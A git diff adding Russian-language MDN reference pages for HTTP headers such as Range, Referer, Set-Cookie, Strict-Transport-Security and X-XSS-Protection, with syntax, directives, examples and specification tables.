Общий заголовок Pragma HTTP / 1.0 - это заголовок, зависящий от реализации, который может иметь различные эффекты в цепочке запрос-ответ. Он используется для обратной совместимости с кэшами HTTP / 1.0, где заголовок Cache-Control HTTP / 1.1 еще не присутствует.

+ +
+

Примечание: Pragma не указана для ответов HTTP и поэтому не является надежной заменой общего заголовка управления кэшем HTTP/1.1, хотя она ведет себя так же, как Cache-Control: no-cache, если поле заголовка управления кэшем опущено в запросе. Используйте Pragma только для обратной совместимости с клиентами HTTP / 1.0.

+
+ + + + + + + + + + + + + + + + +
Header type{{Glossary("General header")}}, но поведение ответа не указано и, следовательно, зависит от реализации.
{{Glossary("Forbidden header name")}}no
{{Glossary("CORS-safelisted response header")}}yes
+ +

Синтаксис

+ +
Pragma: no-cache
+
+ +

Директива

+ +
+
no-cache
+
+

То же, что и Cache-Control: no-cache. Заставляет кэши отправлять запрос на исходный сервер для проверки перед выпуском кэшированной копии.

+
+
+ +

Образец

+ +
Pragma: no-cache
+ +

Технические требования

+ + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7234", "Pragma", "5.4")}}Hypertext Transfer Protocol (HTTP/1.1): Caching
+ +

Совместимость браузера

+ + + +

{{Compat("http.headers.Pragma")}}

+ +

Смотреть также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/range/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/range/index.html" new file mode 100644 index 0000000000..62b6d34a86 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/range/index.html" @@ -0,0 +1,88 @@ +--- +title: Range +slug: Web/HTTP/Заголовки/Range +translation_of: Web/HTTP/Headers/Range +--- +
{{HTTPSidebar}}
+ +

Заголовок запроса Range указывает серверу какую часть документа ему необходимо вернуть. Несколько частей документа может быть запрошено с помощью заголовка Range за один раз, и сервер может вернуть все эти части через многокомпонентный документ. При отправке данных отдельными частями, сервер использует код ответа {{HTTPStatus("206")}} Partial Content. Если запрашиваемые диапазоны данных не верны, сервер возвращает ошибку {{HTTPStatus("416")}} Range Not Satisfiable. Сервер так же может проигнорировать заголовок Range и вернуть документ целиком с кодом ответа {{HTTPStatus("200")}}.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}нет
+ +

Синтаксис

+ +
Range: <единица>=<начало-диапазона>-
+Range: <единица>=<начало-диапазона>-<конец-диапазона>
+Range: <единица>=<начало-диапазона>-<конец-диапазона>, <начало-диапазона>-<конец-диапазона>
+Range: <единица>=<начало-диапазона>-<конец-диапазона>, <начало-диапазона>-<конец-диапазона>, <начало-диапазона>-<конец-диапазона>
+Range: <единица>=-<длина-с-конца>
+ +

Директивы

+ +
+
<единица>
+
Единица, в которой указывается запрашиваемый диапазон. Обычно объявляется, как bytes.
+
+ +
+
<начало-диапазона>
+
Число, в указанных единицах, являющееся началом запрашиваемого диапазона.
+
<конец-диапазона>
+
Число, в указанных единицах, являющееся концом запрашиваемого диапазона. Это значение не является обязательным и, если его не определять, концом диапазона будет считаться конец документа.
+
<длина-с-конца>
+
Количество единиц документа, которые необходимо вернуть серверу, начиная с конца документа.
+
+ +

Примеры

+ +

Запрашивание трёх диапазонов байтов из одного файла.

+ +
Range: bytes=200-1000, 2000-6576, 19000-
+
+ +

Запрашивание первых 500 и последних 500 байтов из файла. Запрос может быть отклонён сервером в связи с перекрывающимися диапазонами.

+ +
Range: bytes=0-499, -500
+
+ +

Спецификации

+ + + + + + + + + + + + +
СпецификацияЗаголовок
{{RFC("7233", "Range", "3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Range Requests
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.headers.Range")}}

+ +

Смотрите так же

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/referer/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/referer/index.html" new file mode 100644 index 0000000000..3ff8b8d51e --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/referer/index.html" @@ -0,0 +1,94 @@ +--- +title: Referer +slug: Web/HTTP/Заголовки/Referer +tags: + - HTTP + - referer + - Заголовок +translation_of: Web/HTTP/Headers/Referer +--- +
{{HTTPSidebar}}
+ +

Заголовок запроса Referer содержит URL исходной страницы, с которой был осуществлен переход на текущую страницу. Заголовок Referer позволяет серверу узнать откуда был осуществлен переход на запрашиваемую страницу. Сервер может анализировать эти данные, записывать их в логи или оптимизировать процесс кэширования.

+ +

Обратите внимание, что слово «Referer» на самом деле является неправильным написанием слова «Referrer». См. {{interwiki("wikipedia", "HTTP_referer", "HTTP referer на Wikipedia")}} .

+ +
+

Заголовок Referer может раскрыть информацию пользователя об истории посещенных страниц, что может привести к нарушению приватности.

+ +

Поэтому, никогда не ссылайтесь и не включайте на страницу контент без предварительной проверки конфиденциальности, безопасности и сопряженных с этим рисков, в том числе на страницах, которые не содержат информации о риске, но связаны с ним.

+ +

К примеру, по умолчанию URL страницы сброса пароля будет попадать на хосты, размещающие контент на странице, и хосты ссылок, нажатых на этой странице. В обоих случаях сторонний хост получит Referer пользователя.

+ +

Существует риск, что содержимое, загруженное на страницу получит доступ к Referer из объекта document.referrer.

+ +

Остерегайтесь хостов первого эшелона, таких как хост изображений. Несмотря на кажущийся, минимальный риск, они получают ваш Referer и это может стать проблемой безопасности.

+ +

Некоторые браузеры, такие как Firefox, также отправляют Referer в представлениях, отличных от страниц HTML. К примеру, JsonView отправит Referer хосту, когда в JSON будет переход по URL-адресу, это может раскрыть приватные данные. Иногда передача Referer случается при работе с API, при некорректных параметрах запроса в API ключах.

+
+ +

Браузер не отправляет заголовок Referer, если:

+ + + + + + + + + + + + + + +
Тип заголовка{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
+ +

Синтаксис

+ +
Referer: <url>
+
+ +

Указания

+ +
+
<url>
+
Абсолютный или частичный адрес предыдущей веб-страницы, с которой был осуществлен переход на запрашиваемую страницу. Фрагменты URL-адреса (т.к. #якорь") и данные пользователя(т.к. "логин:пароль" в "https://username:password@example.com/foo/bar/") не включать.
+
+ +

Пример

+ +
Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияНазвание
{{RFC("7231", "Referer", "5.5.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.headers.Referer")}}

+ +

См. также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/retry-after/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/retry-after/index.html" new file mode 100644 index 0000000000..7e37acd766 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/retry-after/index.html" @@ -0,0 +1,86 @@ +--- +title: Retry-After +slug: Web/HTTP/Заголовки/Retry-After +tags: + - HTTP + - Заголовок + - заголовок ответа + - ответ +translation_of: Web/HTTP/Headers/Retry-After +--- +
{{HTTPSidebar}}
+ +

Retry-After заголовок HTTP ответа показывает, как долго клиент должен подождать перед последующим запросом. Есть три основных случая, в которых следует использовать этот заголовок:

+ + + + + + + + + + + + + + +
Тип заголовка{{Glossary("Ответный заголовок")}}
{{Glossary("Forbidden header name")}}no
+ +

Синтаксис

+ +
Retry-After: <http-date>
+Retry-After: <delay-seconds>
+
+ +

Директивы

+ +
+
<http-date>
+
Дата, после которой пытаться еще раз. За документацией к HTTP дате, обратитесь сюда: {{HTTPHeader("Дата")}}.
+
<delay-seconds>
+
Неотрицательное число секунд, показывающее время ожидания перед новым запросом.
+
+ +

Примеры

+ +

Работа с запланированным временем простоя

+ +

Поддержка Retry-After реализована еще не везде. Впрочем, некоторые боты, к примеру Googlebot, понимает заголовок Retry-After. В данном случае полезно отправлять его с кодом {{HTTPStatus(503)}} (Service Unavailable), чтобы поисковики продолжили индексировать после простоя

+ +
Retry-After: Wed, 21 Oct 2015 07:28:00 GMT
+Retry-After: 120
+
+ +

Спецификации

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "Retry-After", "7.1.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Поддержка браузеров

+ + + +

{{Compat("http.headers.Retry-After")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/set-cookie/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/set-cookie/index.html" new file mode 100644 index 0000000000..d7822a1790 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/set-cookie/index.html" @@ -0,0 +1,193 @@ +--- +title: Set-Cookie +slug: Web/HTTP/Заголовки/Set-Cookie +translation_of: Web/HTTP/Headers/Set-Cookie +--- +
+

{{HTTPSidebar}}

+ +

HTTP заголовок Set-Cookie используется для отправки cookies с сервера на агент пользователя.

+ +

Для детальной информации, смотрите руководство по  HTTP cookies.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}нет
+ +

Синтаксис

+ +
Set-Cookie: <cookie-name>=<cookie-value>
+Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
+Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
+Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
+Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
+Set-Cookie: <cookie-name>=<cookie-value>; Secure
+Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
+
+Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict
+Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax
+Set-Cookie: <cookie-name>=<cookie-value>; SameSite=None {{experimental_inline}}
+
+// Multiple directives are also possible, for example:
+Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
+
+ +

Директивы

+ + + + + +
+
<cookie-name>=<cookie-value>
+
Cookie начинается с пары имя-значение: +
    +
  • <cookie-name> может содержать любые символы US-ASCII, за исключением управляющих символов (CTLs), пробелов, или табуляций. Оно также не должно содержать разделительнных символов, таких как следующие: ( ) < > @ , ; : \ " /  [ ] ? = { }.
    • +
  • <cookie-value> может быть опционально заключено в двойные кавычки,   разрешены любые символы US-ASCII за исключением CTLs, пробела, двойных кавычек, запятой, точки с запятой, и обратного слэша. Кодирование: Многие реализации выполняют кодирование в значениях cookies, однако этого не требуется по спецификации RFC.  Однако, это помогает удовлетворить требование о разрешенных символах в <cookie-value>.
    • +
  • __Secure- prefix {{non-standard_inline}}: Cookies с именем, начинающимся с   __Secure- (подчеркивание является частью префикса ) должны быть установлены вместе с флагом secure, и должны быть с безопасной страницы (HTTPS).
    • +
  • __Host- prefix {{non-standard_inline}}: Cookies с именем, начинающимся с __Host- должны быть установлены с флагом secure secure, должны быть с безопасной страницы (HTTPS),  не должны иметь определенный домен (и, следовательно, не не посылаются поддоменами), а также параметр Path должен быть "/".
    • +
+
+
Expires=<date> {{optional_inline}}
+
+

Максимальное время жизни cookie в формате метки даты-времени HTTP.  См. {{HTTPHeader("Date")}} о деталях формата  Если не определен, cookie будет иметь время жизни сессионного cookie.   Сессия окончена, когда клиент отключается, что приводит к удалению сессионных cookie в этот момент. Однако, многие браузеры имеют возможность, называемую восстановление сессии, которая сохраняет все ваши вкладки и затем возвращает их, когда вы в следующий раз запускаете браузер. Cookies будут также присутствовать, словно вы никогда не закрывали браузер.

+ +

Когда установливается срок действия, время и дата устанавливаются не относитеьно сервера, а относительно клиента, на котором установлено cookie,

+
+
Max-Age=<number> {{optional_inline}}
+
Количество секунд, после которого cookie устаревает.  Ноль или отрицательное число приводят к моментальному устареванию cookie. Старые браузеры (ie6, ie7, and ie8) не поддерживают Max-Age.  Для прочих браузеров, если оба параметра (Expires and Max-Age) установлены, Max-Age будет иметь преимущество.
+
Domain=<domain-value> {{optional_inline}}
+
Хост, на который будут отправляться cookie.
+
+ По умолчанию - хост текущего URL документа, не включая поддомены
+ В текущей спецификация начальная точка в имени хоста игнорируется (.example.com)
+ Cookie будут отправляться также на поддомены указанного хоста
+ Указывать несколько хостов недопустимо.
+
Path=<path-value> {{optional_inline}}
+
Путь, который должен существовать в запрошенном URL, иначе браузер не отправит заголовок Cookie.
+
Пример: / - cookie будет отправляться со всеми запросами
+ Пример: /docs/ - cookie будет отправляться с запросами к директории docs и ее поддиректориям
+
Secure {{optional_inline}}
+
Cookie будет отправлен на сервер только с запросами c использованием SSL и протокола HTTPS.
+
+ Cookie не будет дополнительно шифроваться, поэтому в нем не стоит хранить конфиденциальную инфомрацию.
+
+

Note: небезопасные сайты (http:) не могут использовать cookie с атрибутом "secure" (начиная с Chrome 52+ и Firefox 52+).

+
+
HttpOnly {{optional_inline}}
+
Запрещает JavaScript доступ к cookie
+
Полезно для защиы от XSS-атак.
+
SameSite=<samesite-value> {{optional_inline}}
+
+ + + +
+
+

Allows servers to assert that a cookie ought not to be sent along with cross-site requests, which provides some protection against cross-site request forgery attacks ({{Glossary("CSRF")}}).

+ +

Современные браузеры используют SameSite=Lax. Если необходима работа SameSite=None cookie должна быть установлена с атрибутом Secure.

+
+
+ +

Примеры

+ + + +

Сессионные cookies будут удалены после отключения клиента. В них не указываются директивы Expires или Max-Age. Учитывайте, что часто в браузере включено восстановление сессии.

+ +
Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/
+ + + +

Вместо истечения срока действия, когда клиент закрыт, срок действия постоянных файлов cookie истекает в определенную дату (Expires) или по истечении определенного промежутка времени (Max-Age).

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+
+ +

Неверные домены

+ +

Файл cookie, принадлежащий домену, который не включает исходный сервер, должен быть отклонен пользовательским. Следующий cookie будет отклонен, если он был установлен сервером, размещенным на originalcompany.com.

+ +
Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT
+ + + +

Cookies names with the prefixes __Secure- and __Host- can be used only if they are set with the secure directive from a secure (HTTPS) origin. In addition, cookies with the __Host- prefix must have a path of "/" (the entire host) and must not have a domain attribute. For clients that don't implement cookie prefixes, you cannot count on having these additional assurances and the cookies will always be accepted.

+ +
// Both accepted when from a secure origin (HTTPS)
+Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
+Set-Cookie: __Host-ID=123; Secure; Path=/
+
+// Rejected due to missing Secure directive
+Set-Cookie: __Secure-id=1
+
+// Rejected due to the missing Path=/ directive
+Set-Cookie: __Host-id=1; Secure
+
+// Rejected due to setting a domain
+Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("6265", "Set-Cookie", "4.1")}}HTTP State Management Mechanism
draft-ietf-httpbis-rfc6265bis-02Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies
+ +

Browser compatibility

+ +

The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

+ +

{{Compat("http.headers.Set-Cookie")}}

+ +

Compatibility notes

+ + + +

See also

+ + +
diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/strict-transport-security/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/strict-transport-security/index.html" new file mode 100644 index 0000000000..c63308c97e --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/strict-transport-security/index.html" @@ -0,0 +1,112 @@ +--- +title: Strict-Transport-Security +slug: Web/HTTP/Заголовки/Strict-Transport-Security +translation_of: Web/HTTP/Headers/Strict-Transport-Security +--- +
{{HTTPSidebar}}
+ +

HTTP Strict-Transport-Security  - заголовок ответа (часто используется аббревиатура {{Glossary("HSTS")}}), позволяющий web-сайтам уведомить браузер о том, что доступ к ним должен быть осуществлен только посредством HTTPS вместо HTTP.

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Syntax

+ +
Strict-Transport-Security: max-age=<expire-time>
+Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
+Strict-Transport-Security: max-age=<expire-time>; preload
+
+ +

Директивы

+ +
+
max-age=<expire-time>
+
Время, в секундах, которое браузер должен помнить, что сайт доступен только с помощью HTTPS.
+
includeSubDomains {{optional_inline}}
+
Если этот опциональный параметр задан, то правило также применяется ко всем саб-доменам сайта.
+
preload {{optional_inline}}
+
Смотри {{anch("Предзагрузка Strict Transport Security")}} для большей информации. Не часть спецификации.
+
+ +

Описание

+ +

Если сайт поддерживает доступ с помощью HTTP и перенаправляет на HTTPS, посетители могут изначально коммуницировать с незащищенной версией сайта до перенаправления, если, к примеру, введут http://www.foo.com/ или даже просто foo.com. Это открывает возможности для атак посредников. Перенаправление может быть использовано для перевода посетителей на сайт злоумышленников вместо защищенной версии оригинального сайта.

+ +

HTTP Strict Transport Security заголовок сообщает браузеру, что тот никогда не должен загружать сайт через HTTP и всегда должен автоматически конвертировать все попытки доступа к сайту с помощью HTTP в HTTPS.

+ +
Заметка: Strict-Transport-Security  заголовок игнорируется браузером, если сайт может быть доступен с помощью HTTP, потому что атакующий может перехватить HTTP соединение и внедрить заголовок или убрать его. Когда сайт доступен по HTTPS без ошибок сертификата, браузер знает, что сайт может работать по HTTPS и примет Strict-Transport-Security заголовок.
+ +

Пример сценария

+ +

Вы залогинились через бесплатную точку доступа WiFi в аэропорту и начали серфить в сети, посещая ваш сервис online-банкинга для того, чтобы проверить баланс и оплатить пару счетов. К сожалению, точка доступа на самом деле хакерский ноутбук, и они перехватывают ваш оригинальный HTTP запрос и перенаправляют вас на клонированную версию вашего банковского сайта. Теперь ваша личная информация доступна хакерам.

+ +

Strict Transport Security разрешает эту проблему; пока вы подключены к вашему банковскому сайту с помощью HTTPS и тот использует Strict Transport Security, ваш браузер знает, что должен автоматически использовать только HTTPS, который не позволяет хакерам производить подобные атаки посредников.

+ +

Как ведет себя браузер

+ +

При первом доступе к сайту с помощью HTTPS и возврате Strict-Transport-Security заголовка, браузер сохраняет эту информацию, чтобы в дальнейшем при загрузке сайта через HTTP тот автоматически использовал HTTPS.

+ +

Когда время истечения, заданное Strict-Transport-Security заголовком, заканчивается, следующая попытка загрузки сайта с помощью HTTP будет воспринята, как обычная без автоматического использования HTTPS.

+ +

Каждый раз, когда браузер получает Strict-Transport-Security заголовок, он обновляет время истечения этого сайта, так что сайт может обновлять эту информацию и предотвратить его завершение. Если необходимо отключить Strict-Transport-Security, установите max-age в 0 (через https соединение) и тот моментально завершит Strict-Transport-Security заголовок, открывая доступ через http.

+ +

Предзагрузка Strict Transport Security

+ +

Google поддерживает HSTS preload service. Следуя инструкциям и удачно отправив свой домен, браузер никогда не подключится к вашему домену через незащищенное соединение. Так как сервис хостится Google, все браузеры должны изъявить о намерении использовать (или на самом деле начать пользоваться) предзагруженным списком. Однако, это не часть HSTS спецификации и не должно считаться официальным.

+ + + +

Пример

+ +

Все текущие и будущие сабдомены будут HTTPS по max-age на 1 год. Это блокирует доступ к страницам или сабдоменам, которые могут быть доступны только по HTTP.

+ +
Strict-Transport-Security: max-age=31536000; includeSubDomains
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HSTS')}}{{Spec2('HSTS')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("http.headers.Strict-Transport-Security")}}

+ +

See also

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/vary/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/vary/index.html" new file mode 100644 index 0000000000..a9bf3238e6 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/vary/index.html" @@ -0,0 +1,81 @@ +--- +title: Vary +slug: Web/HTTP/Заголовки/Vary +translation_of: Web/HTTP/Headers/Vary +--- +
{{HTTPSidebar}}
+ +

Заголовок ответа Vary определяет, как сопоставить будущие заголовки запроса, чтобы решить, можно ли использовать кэшированный ответ, а не запрашивать новый с исходного сервера. Он используется сервером для указания того, какие заголовки он использовал при выборе представления ресурса в алгоритме согласования контента.

+ +

Заголовок Vary должен быть установлен для ответа {{HTTPStatus("304")}} Not Modified точно так же, как он был бы установлен для эквивалентного ответа {{HTTPStatus("200")}} OK.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Syntax

+ +
Vary: *
+Vary: <header-name>, <header-name>, ...
+
+ +

Directives

+ +
+
*
+
Каждый запрос должен рассматриваться как уникальный и не кэшируемый. Лучший способ указать это - использовать {{HTTPHeader ("Cache-Control")}}: no-store, который удобнее для чтения и также сигнализирует о том, что объект не должен храниться никогда.
+
<header-name>
+
Разделенный запятыми список имен заголовков, которые необходимо учитывать при принятии решения о том, можно ли использовать кэшированный ответ.
+
+ +

Examples

+ +

Dynamic serving

+ +

When using the Vary: User-Agent header, caching servers should consider the user agent when deciding whether to serve the page from cache. For example, if you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users. It can help Google and other search engines to discover the mobile version of a page, and might also tell them that no Cloaking is intended.

+ +
Vary: User-Agent
+ +

Specifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "Vary", "7.1.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Browser compatibility

+ + + +

{{Compat("http.headers.Vary")}}

+ +

Compatibility notes

+ + + +

See also

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-content-type-options/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-content-type-options/index.html" new file mode 100644 index 0000000000..7a1762e662 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-content-type-options/index.html" @@ -0,0 +1,83 @@ +--- +title: X-Content-Type-Options +slug: Web/HTTP/Заголовки/X-Content-Type-Options +tags: + - HTTP + - HTTP заголовки + - Ответы заголовка + - Справка +translation_of: Web/HTTP/Headers/X-Content-Type-Options +--- +
{{HTTPSidebar}}
+ +

HTTP-заголовок ответа X-Content-Type-Options является маркером, используемым сервером для указания того, что типы MIME, объявленные в заголовках {{HTTPHeader ("Content-Type")}}, должны соблюдаться и не изменяться. Это позволяет отказаться от перехвата MIME, или, другими словами, это способ сказать, что веб-мастера знали, что они делают.

+ +

Этот HTTP-заголовок был введен Microsoft в IE 8 как способ для веб-мастеров блокировать происходящий перехват содержимого и может преобразовывать неисполняемые типы MIME в исполняемые типы MIME. С тех пор другие браузеры внедрили его, даже если их алгоритмы прослушивания MIME были менее агрессивными.

+ +

Тестеры безопасности сайта обычно ожидают, что этот заголовок будет установлен.

+ +

Примечание: nosniff применяется только к типам "script" и "style". Также применение nosniff к изображениям оказалось несовместимым с существующими веб-сайтами.

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Синтаксис

+ +
X-Content-Type-Options: nosniff
+
+ +

Директивы

+ +
+
nosniff
+
Блокирует запрос, если запрошенный тип: + +
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}{{Spec2("Fetch")}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("http.headers.X-Content-Type-Options")}}

+ +

Смотрите также

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-forwarded-for/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-forwarded-for/index.html" new file mode 100644 index 0000000000..e44d3bd8da --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-forwarded-for/index.html" @@ -0,0 +1,72 @@ +--- +title: X-Forwarded-For +slug: Web/HTTP/Заголовки/X-Forwarded-For +tags: + - Заголовок + - заголовок запроса + - оригинальный адрес +translation_of: Web/HTTP/Headers/X-Forwarded-For +--- +
{{HTTPSidebar}}
+ +

Заголовок X-Forwarded-For (XFF) является де-факто стандартным заголовком для идентификации происхождения IP-адреса клиента, подключающегося к веб-серверу через HTTP-прокси или балансировщик нагрузки. Когда трафик перехватывается между клиентами и серверами, журналы доступа к серверу содержат только IP-адрес прокси-сервера или балансировки нагрузки. Чтобы увидеть origin IP-адрес клиента, используется заголовок запроса X-Forwarded-For.

+ +

Этот заголовок используется для отладки, статистики и создания зависимого от местоположения контента, и архитектурно он предоставляет секретную информацию, такую как IP-адрес клиента. Поэтому при использовании этого заголовка необходимо учитывать конфиденциальность пользователя.

+ +

Стандартизованной версией этого заголовка является HTTP {{HTTPHeader("Forwarded")}} заголовок.

+ +

X-Forwarded-For  также является заголовком электронной почты, указывающим, что сообщение электронной почты было отправлено из другой учетной записи.

+ + + + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}no
+ +

Синтаксис

+ +
X-Forwarded-For: <client>, <proxy1>, <proxy2>
+
+ +

Директивы

+ +
+
<client>
+
IP адрес клиента
+
<proxy1>, <proxy2>
+
Если запрос проходит через несколько прокси-серверов, перечислены IP-адреса каждого последующего прокси-сервера. Это означает, что самый правый IP-адрес - это IP-адрес самого последнего прокси-сервера, а самый левый IP-адрес - это IP-адрес отправляющего клиента.
+
+ +

Примеры

+ +
X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348
+
+X-Forwarded-For: 203.0.113.195
+
+X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178
+
+ +

Other non-standard forms:

+ +
# Used for some Google services
+X-ProxyUser-Ip: 203.0.113.19
+ +

Спецификаци

+ +

Не является частью любой текущей спецификации. Стандартизованная версия этого заголовка {{HTTPHeader("Forwarded")}}.

+ +

See also

+ + diff --git "a/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-xss-protection/index.html" "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-xss-protection/index.html" new file mode 100644 index 0000000000..847ec38972 --- /dev/null +++ "b/files/ru/web/http/\320\267\320\260\320\263\320\276\320\273\320\276\320\262\320\272\320\270/x-xss-protection/index.html" @@ -0,0 +1,87 @@ +--- +title: X-XSS-Protection +slug: Web/HTTP/Заголовки/X-XSS-Protection +tags: + - HTTP + - XSS + - Безопасность + - Заголовок + - Справка +translation_of: Web/HTTP/Headers/X-XSS-Protection +--- +
{{HTTPSidebar}}
+ +

Заголовок ответа HTTP X-XSS-Protection это особенность Internet Explorer, Chrome и Safari, которая останавливает загрузку страниц при обнаружении ({{Glossary("XSS")}}) атаки. Хотя эти меры защиты не требуются в большинстве случаев для современных браузеров, когда сайты внедряют сильную политику безопасности контента {{HTTPHeader("Content-Security-Policy")}}, которая отключает использование встроенного JavaScript ('unsafe-inline'), они могут обеспечить защиту для пользователей, использующих устаревшие версии браузеров, не поддерживающих {{Glossary("CSP")}}.

+ + + + + + + + + + + + +
Тип заголовка{{Glossary("Response header")}}
+

Запрещенное имя заголовка

+ +

{{Glossary("Forbidden header name")}}

+ 		no
+ +

Синтаксис

+ +
X-XSS-Protection: 0
+X-XSS-Protection: 1
+X-XSS-Protection: 1; mode=block
+X-XSS-Protection: 1; report=<reporting-uri>
+
+ +
+
0
+
Отключает фильтрацию XSS.
+
1
+
Включает фильтрацию XSS (по-умолчанию в браузерах). Если будет замечена попытка межсайтового скриптинга(XSS), браузер удалит небезопасное содержимое.
+
1; mode=block
+
Включает фильтрацию XSS. Вместо того, чтобы очищать содержимое страницы, браузер предотвратит отображение страницы, если заметит атаку.
+
1; report=<reporting-URI>  (Chromium only)
+
Включает фильтрацию XSS. При обнаружении атаки межсайтового скриптинга, браузер очистит страницу от небезопасного содержимого и сообщит о нарушении. Для отправки отчёта используется функциональные возможности директивы CSP {{CSP("report-uri")}}.
+
+ +

Пример

+ +

Блокировка загрузки страницы, при обнаружении отражённой (непостоянной) XSS:

+ +
X-XSS-Protection: 1; mode=block
+ +

PHP

+ +
header("X-XSS-Protection: 1; mode=block");
+ +

Apache (.htaccess)

+ +
<IfModule mod_headers.c>
+  Header set X-XSS-Protection "1; mode=block"
+</IfModule>
+ +

Спецификации

+ +

Не является частью каких-либо спецификай или черновиков.

+ +

Поддерживается браузерами

+ + + +

{{Compat("http.headers.X-XSS-Protection")}}

+ +

Смотри также

